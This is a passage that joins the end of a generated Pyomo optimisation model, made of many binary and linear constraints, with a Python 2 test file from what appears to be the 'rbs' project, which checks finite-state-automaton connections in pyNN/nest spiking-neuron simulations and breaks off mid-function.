m.b299 + m.b326 + m.b330 >= 1) m.c2031 = Constraint(expr= m.b296 + m.b299 + m.b325 + m.b331 >= 1) m.c2032 = Constraint(expr= m.b296 + m.b299 + m.b324 >= 1) m.c2033 = Constraint(expr= m.b296 + m.b299 + m.b321 + m.b331 >= 1) m.c2034 = Constraint(expr= m.b296 + m.b299 + m.b321 + m.b326 >= 1) m.c2035 = Constraint(expr= m.b296 + m.b299 + m.b320 >= 1) m.c2036 = Constraint(expr= m.b296 + m.b299 + m.b318 + m.b330 >= 1) m.c2037 = Constraint(expr= m.b296 + m.b299 + m.b318 + m.b326 + m.b331 >= 1) m.c2038 = Constraint(expr= m.b296 + m.b299 + m.b318 + m.b325 >= 1) m.c2039 = Constraint(expr= m.b296 + m.b299 + m.b318 + m.b321 >= 1) m.c2040 = Constraint(expr= m.b296 + m.b299 + m.b317 + m.b330 >= 1) m.c2041 = Constraint(expr= m.b296 + m.b299 + m.b317 + m.b326 + m.b331 >= 1) m.c2042 = Constraint(expr= m.b296 + m.b299 + m.b317 + m.b325 >= 1) m.c2043 = Constraint(expr= m.b296 + m.b299 + m.b317 + m.b321 >= 1) m.c2044 = Constraint(expr= m.b296 + m.b299 + m.b316 + m.b331 >= 1) m.c2045 = Constraint(expr= m.b296 + m.b299 + m.b316 + m.b326 >= 1) m.c2046 = Constraint(expr= m.b296 + m.b299 + m.b316 + m.b321 >= 1) m.c2047 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b330 >= 1) m.c2048 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b326 + m.b331 >= 1) m.c2049 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b325 >= 1) m.c2050 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b321 >= 1) m.c2051 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b318 + m.b330 >= 1) m.c2052 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b318 + m.b326 + m.b331 >= 1) m.c2053 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b318 + m.b325 >= 1) m.c2054 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b318 + m.b321 >= 1) m.c2055 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b317 + m.b331 >= 1) m.c2056 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b317 + m.b326 >= 1) m.c2057 = Constraint(expr= m.b296 + m.b299 + m.b312 + m.b317 + m.b321 >= 1) m.c2058 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b330 >= 1) m.c2059 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b326 + m.b331 >= 1) m.c2060 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b325 >= 1) m.c2061 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b321 >= 1) m.c2062 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b318 + m.b331 >= 1) m.c2063 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b318 + m.b326 >= 1) m.c2064 = Constraint(expr= m.b296 + m.b299 + m.b311 + m.b318 + m.b321 >= 1) m.c2065 = Constraint(expr= m.b296 + m.b299 + m.b310 + m.b331 >= 1) m.c2066 = Constraint(expr= m.b296 + m.b299 + m.b310 + m.b326 >= 1) m.c2067 = Constraint(expr= m.b296 + m.b299 + m.b310 + m.b321 >= 1) m.c2068 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b330 >= 1) m.c2069 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b326 + m.b331 >= 1) m.c2070 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b325 >= 1) m.c2071 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b321 >= 1) m.c2072 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b318 + m.b331 >= 1) m.c2073 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b318 + m.b326 >= 1) m.c2074 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b318 + m.b321 >= 1) m.c2075 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b317 + m.b331 >= 1) m.c2076 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b317 + m.b326 >= 1) m.c2077 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b317 + m.b321 >= 1) m.c2078 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b312 + m.b331 >= 1) m.c2079 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b312 + m.b326 >= 1) m.c2080 = Constraint(expr= m.b296 + m.b299 + m.b306 + m.b312 + m.b321 >= 1) m.c2081 = Constraint(expr= m.b296 + m.b299 + m.b305 + m.b331 >= 1) m.c2082 = Constraint(expr= m.b296 + m.b299 + m.b305 + m.b326 >= 1) m.c2083 = Constraint(expr= m.b296 + m.b299 + m.b305 + m.b321 >= 1) m.c2084 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b331 >= 1) m.c2085 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b326 >= 1) m.c2086 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b321 >= 1) m.c2087 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b318 + m.b331 >= 1) m.c2088 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b318 + m.b326 >= 1) m.c2089 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b318 + m.b321 >= 1) m.c2090 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b312 + m.b331 >= 1) m.c2091 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b312 + m.b326 >= 1) m.c2092 = Constraint(expr= m.b296 + m.b299 + m.b302 + m.b312 + m.b321 >= 1) m.c2093 = Constraint(expr= m.b296 + m.b298 + m.b331 >= 1) m.c2094 = Constraint(expr= m.b296 + m.b298 + m.b326 >= 1) m.c2095 = Constraint(expr= m.b296 + m.b298 + m.b321 >= 1) m.c2096 = Constraint(expr= m.b295 + m.b329 >= 1) m.c2097 = Constraint(expr= m.b295 + m.b326 + m.b330 >= 1) m.c2098 = Constraint(expr= m.b295 + m.b325 + m.b331 >= 1) m.c2099 = Constraint(expr= m.b295 + m.b324 >= 1) m.c2100 = Constraint(expr= m.b295 + m.b321 + m.b331 >= 1) m.c2101 = Constraint(expr= m.b295 + m.b321 + m.b326 >= 1) m.c2102 = Constraint(expr= m.b295 + m.b320 >= 1) m.c2103 = Constraint(expr= m.b295 + m.b318 + m.b330 >= 1) m.c2104 = Constraint(expr= m.b295 + m.b318 + m.b326 + m.b331 >= 1) m.c2105 = Constraint(expr= m.b295 + m.b318 + m.b325 >= 1) m.c2106 = Constraint(expr= m.b295 + m.b318 + m.b321 >= 1) m.c2107 = Constraint(expr= m.b295 + m.b317 + m.b330 >= 1) m.c2108 = Constraint(expr= m.b295 + m.b317 + m.b326 + m.b331 >= 1) m.c2109 = Constraint(expr= m.b295 + m.b317 + m.b325 >= 1) m.c2110 = Constraint(expr= m.b295 + m.b317 + m.b321 >= 1) m.c2111 = Constraint(expr= m.b295 + m.b316 + m.b331 >= 1) m.c2112 = Constraint(expr= m.b295 + m.b316 + m.b326 >= 1) m.c2113 = Constraint(expr= m.b295 + m.b316 + m.b321 >= 1) m.c2114 = Constraint(expr= m.b295 + m.b312 + m.b330 >= 1) m.c2115 = Constraint(expr= m.b295 + m.b312 + m.b325 >= 1) m.c2116 = Constraint(expr= m.b295 + m.b312 + m.b321 >= 1) m.c2117 = Constraint(expr= m.b295 + m.b312 + m.b318 + m.b330 >= 1) m.c2118 = Constraint(expr= m.b295 + m.b312 + m.b318 + m.b326 + m.b331 >= 1) m.c2119 = Constraint(expr= m.b295 + m.b312 + m.b318 + m.b325 >= 1) m.c2120 = Constraint(expr= m.b295 + m.b312 + m.b318 + m.b321 >= 1) m.c2121 = Constraint(expr= m.b295 + m.b312 + m.b317 + m.b331 >= 1) m.c2122 = Constraint(expr= m.b295 + m.b312 + m.b317 + m.b326 >= 1) m.c2123 = Constraint(expr= m.b295 + m.b312 + m.b317 + m.b321 >= 1) m.c2124 = Constraint(expr= m.b295 + m.b311 + m.b330 >= 1) m.c2125 = Constraint(expr= m.b295 + m.b311 + m.b326 + m.b331 >= 1) m.c2126 = Constraint(expr= m.b295 + m.b311 + m.b325 >= 1) m.c2127 = Constraint(expr= m.b295 + m.b311 + m.b321 >= 1) m.c2128 = Constraint(expr= m.b295 + m.b311 + m.b318 + m.b331 >= 1) m.c2129 = Constraint(expr= m.b295 + m.b311 + m.b318 + m.b326 >= 1) m.c2130 = Constraint(expr= m.b295 + m.b311 + m.b318 + m.b321 >= 1) m.c2131 = Constraint(expr= m.b295 + m.b310 + m.b331 >= 1) m.c2132 = Constraint(expr= m.b295 + m.b310 + m.b326 >= 1) m.c2133 = Constraint(expr= m.b295 + m.b310 + m.b321 >= 1) m.c2134 = Constraint(expr= m.b295 + m.b306 + m.b330 >= 1) m.c2135 = Constraint(expr= m.b295 + m.b306 + m.b326 + m.b331 >= 1) m.c2136 = Constraint(expr= m.b295 + m.b306 + m.b325 >= 1) m.c2137 = Constraint(expr= m.b295 + m.b306 + m.b321 >= 1) m.c2138 = Constraint(expr= m.b295 + m.b306 + m.b318 + m.b331 >= 1) m.c2139 = Constraint(expr= m.b295 + m.b306 + m.b318 + m.b326 >= 1) m.c2140 = Constraint(expr= m.b295 + m.b306 + m.b318 + m.b321 >= 1) m.c2141 = Constraint(expr= m.b295 + m.b306 + m.b312 + m.b331 >= 1) m.c2142 = Constraint(expr= m.b295 + m.b306 + m.b312 + m.b326 >= 1) m.c2143 = Constraint(expr= m.b295 + m.b306 + m.b312 + m.b321 >= 1) m.c2144 = Constraint(expr= m.b295 + m.b305 + m.b331 >= 1) m.c2145 = Constraint(expr= m.b295 + m.b305 + m.b326 >= 1) m.c2146 = Constraint(expr= m.b295 + m.b305 + m.b321 >= 1) m.c2147 = Constraint(expr= m.b295 + m.b302 + m.b331 >= 1) m.c2148 = Constraint(expr= m.b295 + m.b302 + m.b326 >= 1) m.c2149 = Constraint(expr= m.b295 + m.b302 + m.b321 >= 1) m.c2150 = Constraint(expr= m.b295 + m.b299 + m.b331 >= 1) m.c2151 = Constraint(expr= m.b295 + m.b299 + m.b326 >= 1) m.c2152 = Constraint(expr= m.b295 + m.b299 + m.b321 >= 1) m.c2153 = Constraint(expr= m.b294 + m.b331 >= 1) m.c2154 = Constraint(expr= m.b294 + m.b326 >= 1) m.c2155 = Constraint(expr= m.b294 + m.b321 >= 1) m.c2156 = Constraint(expr= m.b294 - m.b295 >= 0) m.c2157 = Constraint(expr= m.b295 - m.b296 >= 0) m.c2158 = Constraint(expr= m.b297 - m.b298 >= 0) m.c2159 = Constraint(expr= m.b298 - m.b299 >= 0) m.c2160 = Constraint(expr= m.b300 - m.b301 >= 0) m.c2161 = Constraint(expr= m.b301 - m.b302 >= 0) m.c2162 = Constraint(expr= m.b303 - m.b304 >= 0) m.c2163 = Constraint(expr= m.b304 - m.b305 >= 0) m.c2164 = Constraint(expr= m.b305 - m.b306 >= 0) m.c2165 = Constraint(expr= m.b307 - m.b308 >= 0) m.c2166 = Constraint(expr= m.b308 - m.b309 >= 0) m.c2167 = Constraint(expr= m.b309 - m.b310 >= 0) m.c2168 = Constraint(expr= m.b310 - m.b311 >= 0) m.c2169 = Constraint(expr= m.b311 - m.b312 >= 0) m.c2170 = Constraint(expr= m.b313 - m.b314 >= 0) m.c2171 = Constraint(expr= m.b314 - m.b315 >= 0) m.c2172 = Constraint(expr= m.b315 - m.b316 >= 0) m.c2173 = Constraint(expr= m.b316 - m.b317 >= 0) m.c2174 = Constraint(expr= m.b317 - m.b318 >= 0) m.c2175 = Constraint(expr= m.b319 - m.b320 >= 0) m.c2176 = Constraint(expr= m.b320 - m.b321 >= 0) m.c2177 = Constraint(expr= m.b322 - m.b323 >= 0) m.c2178 = Constraint(expr= m.b323 - m.b324 >= 0) m.c2179 = Constraint(expr= m.b324 - m.b325 >= 0) m.c2180 = Constraint(expr= m.b325 - m.b326 >= 0) m.c2181 = Constraint(expr= m.b327 - m.b328 >= 0) m.c2182 = Constraint(expr= m.b328 - m.b329 >= 0) m.c2183 = Constraint(expr= m.b329 - m.b330 >= 0) m.c2184 = Constraint(expr= m.b330 - m.b331 >= 0) m.c2185 = Constraint(expr= m.b332 - m.b333 >= 0) m.c2186 = Constraint(expr= m.b333 - m.b334 >= 0) m.c2187 = Constraint(expr= m.b334 - m.b335 >= 0) m.c2188 = Constraint(expr= m.b335 - m.b336 >= 0) m.c2189 = Constraint(expr= m.b336 - m.b337 >= 0) m.c2190 = Constraint(expr= m.b338 - m.b339 >= 0) m.c2191 = Constraint(expr= m.b339 - m.b340 >= 0) m.c2192 = Constraint(expr= m.b340 - m.b341 >= 0) m.c2193 = Constraint(expr= m.b341 - m.b342 >= 0) m.c2194 = Constraint(expr= m.b343 - m.b344 >= 0) m.c2195 = Constraint(expr= m.b344 - m.b345 >= 0) m.c2196 = Constraint(expr= m.b346 - m.b347 >= 0) m.c2197 = Constraint(expr= m.b347 - m.b348 >= 0) m.c2198 = Constraint(expr= m.b349 - m.b350 >= 0) m.c2199 = Constraint(expr= m.b350 - m.b351 >= 0) m.c2200 = Constraint(expr= m.b352 - m.b353 >= 0) m.c2201 = Constraint(expr= m.b353 - m.b354 >= 0) m.c2202 = Constraint(expr= m.b354 - m.b355 >= 0) m.c2203 = Constraint(expr= m.x155 - m.x156 >= 0) m.c2204 = Constraint(expr= m.x156 - m.x157 >= 0) m.c2205 = Constraint(expr= m.x157 - m.x158 >= 0) m.c2206 = Constraint(expr= m.x121 - 0.1*m.b294 - 0.573333333333333*m.b295 - 0.1*m.b296 == 1.24666666666667) m.c2207 = Constraint(expr= m.x122 - 0.193333333333333*m.b297 - 1.14666666666667*m.b298 - 0.193333333333333*m.b299 == 2.48) m.c2208 = Constraint(expr= m.x123 - 0.226666666666667*m.b300 - 1.36*m.b301 - 0.226666666666667*m.b302 == 2.94666666666667) m.c2209 = Constraint(expr= m.x124 - 0.28*m.b303 - 1.42*m.b304 - 0.286666666666667*m.b305 - 0.28*m.b306 == 3.69333333333333) m.c2210 = Constraint(expr= m.x125 - 1.91333333333333*m.b307 - 7.65333333333333*m.b308 - 1.91333333333333*m.b309 - 1.91333333333333*m.b310 - 1.91333333333333*m.b311 - 1.91333333333333*m.b312 == 24.8733333333333) m.c2211 = Constraint(expr= m.x126 - 4.51333333333333*m.b313 - 18.0533333333333*m.b314 - 4.51333333333333*m.b315 - 4.50666666666667*m.b316 - 4.51333333333333*m.b317 - 4.51333333333333*m.b318 == 58.6666666666667) m.c2212 = Constraint(expr= m.x127 - 0.313333333333333*m.b319 - 1.88666666666667*m.b320 - 0.313333333333333*m.b321 == 4.08) m.c2213 = Constraint(expr= m.x128 - 2.81333333333333*m.b322 - 14.06*m.b323 - 2.80666666666667*m.b324 - 2.81333333333333*m.b325 - 2.81333333333333*m.b326 == 36.56) m.c2214 = Constraint(expr= m.x129 - 2.56*m.b327 - 12.7933333333333*m.b328 - 2.56*m.b329 - 2.56*m.b330 - 2.55333333333333*m.b331 == 33.26) m.c2215 = Constraint(expr= m.x130 - 1.88666666666667*m.b332 - 7.54666666666667*m.b333 - 1.88666666666667*m.b334 - 1.88666666666667*m.b335 - 1.88666666666667*m.b336 - 1.88666666666667*m.b337 == 24.52) m.c2216 = Constraint(expr= m.x131 - 2.84*m.b338 - 14.2*m.b339 - 2.84*m.b340 - 2.84*m.b341 - 2.84666666666667*m.b342 == 36.9266666666667) m.c2217 = Constraint(expr= m.x132 - 3.85333333333333*m.b343 - 23.1133333333333*m.b344 - 3.85333333333333*m.b345 == 50.0866666666667) m.c2218 = Constraint(expr= m.x133 - 1.24666666666667*m.b346 - 7.47333333333333*m.b347 - 1.24*m.b348 == 16.1866666666667) m.c2219 = Constraint(expr= m.x134 - 1.81333333333333*m.b349 - 10.8533333333333*m.b350 - 1.81333333333333*m.b351 == 23.52) m.c2220 = Constraint(expr= m.x135 - 2.96666666666667*m.b352 - 14.82*m.b353 - 2.96*m.b354 - 2.96666666666667*m.b355 == 38.5266666666667) m.c2221 = Constraint(expr= - m.x136 + m.x279 <= 0) m.c2222 = Constraint(expr= - m.x137 + m.x280 <= 0) m.c2223 = Constraint(expr= - m.x138 + m.x281 <= 0) m.c2224 = Constraint(expr= - m.x139 + m.x282 <= 0) m.c2225 = Constraint(expr= - m.x140 + m.x283 <= 0) m.c2226 = Constraint(expr= - m.x141 + m.x284 <= 0) m.c2227 = Constraint(expr= - m.x142 + m.x285 <= 0) m.c2228 = Constraint(expr= - m.x143 + m.x286 <= 0) m.c2229 = Constraint(expr= - m.x144 + m.x287 <= 0) m.c2230 = Constraint(expr= - m.x145 + m.x288 <= 0) m.c2231 = Constraint(expr= - m.x146 + m.x289 <= 0) m.c2232 = Constraint(expr= - m.x147 + m.x290 <= 0) m.c2233 = Constraint(expr= - m.x148 + m.x291 <= 0) m.c2234 = Constraint(expr= - m.x149 + m.x292 <= 0) m.c2235 = Constraint(expr= - m.x150 + m.x293 <= 0)

35.545585

118

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Python

tests/fsaTests.py

dainiuskreivenas/rbs

1d371963ccd64976b3f0603dead891f51996cfb1

[ "MIT" ]

1

2021-10-04T17:44:04.000Z

tests/fsaTests.py

dainiuskreivenas/rbs

1d371963ccd64976b3f0603dead891f51996cfb1

[ "MIT" ]

12

2019-07-16T08:31:50.000Z

2019-11-19T17:58:53.000Z

tests/fsaTests.py

dainiuskreivenas/rbs

1d371963ccd64976b3f0603dead891f51996cfb1

[ "MIT" ]

null

#import pyNN.spiNNaker as sim import pyNN.nest as sim from .. import FSAHelperFunctions from .. import NealCoverFunctions simName = "nest" runtime = 1000 def createNeurons(fsa): ca = sim.Population(fsa.CA_SIZE, sim.IF_cond_exp, fsa.CELL_PARAMS, label = "CA") fsa.makeCA(ca, 0) ca2 = sim.Population(fsa.CA_SIZE, sim.IF_cond_exp, fsa.CELL_PARAMS, label = "CA 2") fsa.makeCA(ca2, 0) ca3 = sim.Population(fsa.CA_SIZE, sim.IF_cond_exp, fsa.CELL_PARAMS, label = "CA 3") fsa.makeCA(ca3, 0) n1 = sim.Population(1, sim.IF_cond_exp, fsa.CELL_PARAMS, label = "Neuron 1") n2 = sim.Population(1, sim.IF_cond_exp, fsa.CELL_PARAMS, label = "Neuron 2") n3 = sim.Population(1, sim.IF_cond_exp, fsa.CELL_PARAMS, label = "Neuron 3") n1.record("spikes") n2.record("spikes") n3.record("spikes") ca.record("spikes") ca2.record("spikes") ca3.record("spikes") return ca,ca2,ca3,n1,n2,n3 def stateToState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnState(ca,0,ca2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca2.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2 " print data.segments[0].spiketrains[0] print "State To State - {}".format(success) def stateToNeuron(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(n1.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "State To Neuron - {}".format(success) def twoStateToState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateHalfTurnsOnState(ca,0,ca3,0) fsa.stateHalfTurnsOnState(ca2,0,ca3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca3.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = ca3.get_data() print "ca3" print data.segments[0].spiketrains[0] print "2 State To State - {}".format(success) def twoStateToState_Half(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateHalfTurnsOnState(ca,0,ca3,0) fsa.stateHalfTurnsOnState(ca2,0,ca3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca3.get_data().segments[0].spiketrains[0]) == 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = ca3.get_data() print "ca3" print data.segments[0].spiketrains[0] print "2 State To State Half - {}".format(success) def twoStateToNeuron(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateHalfTurnsOnOneNueron(ca,0,n1,0) fsa.stateHalfTurnsOnOneNueron(ca2,0,n1,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) neal.nealApplyProjections() sim.run(runtime) success = len(n1.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "2 State To Neruon - {}".format(success) def twoStateToNeuron_Half(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateHalfTurnsOnOneNueron(ca,0,n1,0) fsa.stateHalfTurnsOnOneNueron(ca2,0,n1,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(n1.get_data().segments[0].spiketrains[0]) == 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "2 State To Neruon Half - {}".format(success) def neuronToState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronTurnsOnState(n1,0,ca2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca2.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "Neruon To State - {}".format(success) def neuronToNeuron(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronTurnsOnOneNeuron(n1,0,n2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(n2.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "Neruon To Neuron - {}".format(success) def twoNeuronToState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.stateTurnsOnOneNeuron(ca,0,n2,0) fsa.oneNeuronHalfTurnsOnState(n1,0,ca2,0) fsa.oneNeuronHalfTurnsOnState(n2,0,ca2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca2.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "2 Neruon To State - {}".format(success) def twoNeuronToState_Half(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnState(n1,0,ca2,0) fsa.oneNeuronHalfTurnsOnState(n2,0,ca2,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca2.get_data().segments[0].spiketrains[0]) == 0 if (not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] print "2 Neruon To State Half - {}".format(success) def twoNeuronToNeuron(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.stateTurnsOnOneNeuron(ca,0,n2,0) fsa.oneNeuronHalfTurnsOnOneNeuron(n1,0,n3,0) fsa.oneNeuronHalfTurnsOnOneNeuron(n2,0,n3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(n3.get_data().segments[0].spiketrains[0]) > 0 if (not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] data = n3.get_data() print "n3" print data.segments[0].spiketrains[0] print "2 Neruon To Neuron - {}".format(success) def twoNeuronToNeuron_Half(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnState(n1,0,n3,0) fsa.oneNeuronHalfTurnsOnState(n2,0,n3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) neal.nealApplyProjections() sim.run(runtime) success = len(n3.get_data().segments[0].spiketrains[0]) == 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] data = n2.get_data() print "n2" print data.segments[0].spiketrains[0] data = n3.get_data() print "n3" print data.segments[0].spiketrains[0] print "2 Neruon To Neuron Half - {}".format(success) def neruonAndStateToState(): neal = NealCoverFunctions(simName, sim) fsa = FSAHelperFunctions(simName, sim, neal) ca,ca2,ca3,n1,n2,n3 = createNeurons(fsa) fsa.stateTurnsOnOneNeuron(ca,0,n1,0) fsa.oneNeuronHalfTurnsOnState(n1,0,ca3,0) fsa.stateHalfTurnsOnState(ca2,0,ca3,0) spikeTimes = {'spike_times': [[sim.get_current_time()+5]]} spikeGen = sim.Population(1, sim.SpikeSourceArray, spikeTimes) fsa.turnOnStateFromSpikeSource(spikeGen,ca,0) fsa.turnOnStateFromSpikeSource(spikeGen,ca2,0) neal.nealApplyProjections() sim.run(runtime) success = len(ca3.get_data().segments[0].spiketrains[0]) > 0 if(not success): data = ca.get_data() print "ca" print data.segments[0].spiketrains[0] data = ca2.get_data() print "ca2" print data.segments[0].spiketrains[0] data = ca3.get_data() print "ca3" print data.segments[0].spiketrains[0] data = n1.get_data() print "n1" print data.segments[0].spiketrains[0] print "Neuron And State To State - {}".format(success) def neruonAndStateToState_NotNeuron(): neal = 